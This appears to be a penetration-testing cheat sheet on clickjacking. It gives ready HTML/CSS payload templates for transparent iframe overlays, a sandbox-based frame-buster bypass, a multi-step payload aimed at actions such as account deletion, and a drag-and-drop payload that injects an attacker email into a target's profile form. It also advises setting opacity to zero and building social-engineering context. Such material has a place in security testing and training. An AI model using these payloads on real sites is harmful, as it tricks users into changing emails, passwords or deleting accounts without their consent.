Clickjacking

  • Uses transparent iframes to overlay malicious content over legitimate pages

  • Exploits missing X-Frame-Options or inadequate Content-Security-Policy headers

  • Requires social engineering to trick users into visiting the malicious page

Testing Methodology

Detection

  • Check for missing X-Frame-Options header

  • Verify absence of frame-ancestors in CSP

  • Test if page loads in iframe: <iframe src="target.com"></iframe>

Positioning

  • Set iframe opacity to 0.1-0.3 for visibility

  • Use browser dev tools to inspect target elements

  • Adjust coordinates until decoy aligns with target

  • Test across different browsers and screen sizes

Payload Refinement

  • Set final opacity to 0 (completely transparent)

  • Create compelling social engineering context

  • Test complete user workflow

  • Verify attack works with realistic user behavior

Common Target Areas

  • Login forms

  • Account settings pages

  • Password change forms

  • Email update forms

  • Delete account buttons

  • Payment confirmation pages

  • Admin panels

  • File upload interfaces

  • Social media action buttons

Basic Template

Key Parameters to Adjust

  • $width_value / $height_value: Match the target page dimensions

  • $opacity: Start with 0.1 for testing (invisible), set to 0 for attack

  • $top_value / $side_value: Position decoy element under target button

<style>
	iframe {
		position:relative;
		width:$width_value;
		height: $height_value;
		opacity: $opacity;
		z-index: 2;
		}
		div {
			position:absolute;
			top:$top_value;
			left:$side_value;
			z-index: 1;
			}
</style>
<div>Test me</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/my-account"></iframe>
Pre-configured Basic Template
<style>
   iframe {
       position:relative;
       width: 500px;
       height: 700px;
       opacity: 0.1;
       z-index: 2;
   }
   div {
       position:absolute;
       top:470px;
       left:60px;
       z-index: 1;
   }
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Frame Buster Bypass
  • The sandbox attribute neutralizes frame-busting scripts

  • Use when the Target sites implement basic frame-busting JavaScript protection

<style>
   iframe {
       position:relative;
       width: 500px;
       height: 700px;
       opacity: 0.1;
       z-index: 2;
   }
   div {
       position:absolute;
       top:470px;
       left:60px;
       z-index: 1;
   }
</style>
<div>Click me</div>
<iframe sandbox="allow-forms"
src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Sandbox Permissions

  • allow-forms: Enables form submission

  • allow-scripts: Would enable JavaScript (avoid for bypass)

  • allow-same-origin: Enables same-origin requests

Multi-step Payload
  • Account deletion (click delete โ†’ click confirm)

  • Password changes (old password โ†’ new password โ†’ confirm)

  • Permission grants (enable feature โ†’ confirm settings)

<style>
   iframe {
       position:relative;
       width: 1000px;
       height: 800px;
       opacity: 0.1;
       z-index: 2;
   }
   .firstClick, .secondClick {
       position:absolute;
       top:330px;
       left:60px;
       z-index: 1;
   }
   .secondClick {
	   top:500px;
       left:210px;
   }
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag and Drop Payload

Key Components

  • draggable="true": Makes element draggable

  • ondragstart: Sets payload data when drag begins

  • Red boxes guide user through the attack sequence

  • Higher opacity (0.3) helps users see drop target

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

Sandbox Permissions Needed

  • allow-scripts: Required for drag-and-drop events

  • allow-same-origin: Enables form interaction

  • allow-forms: Allows form submission

Last updated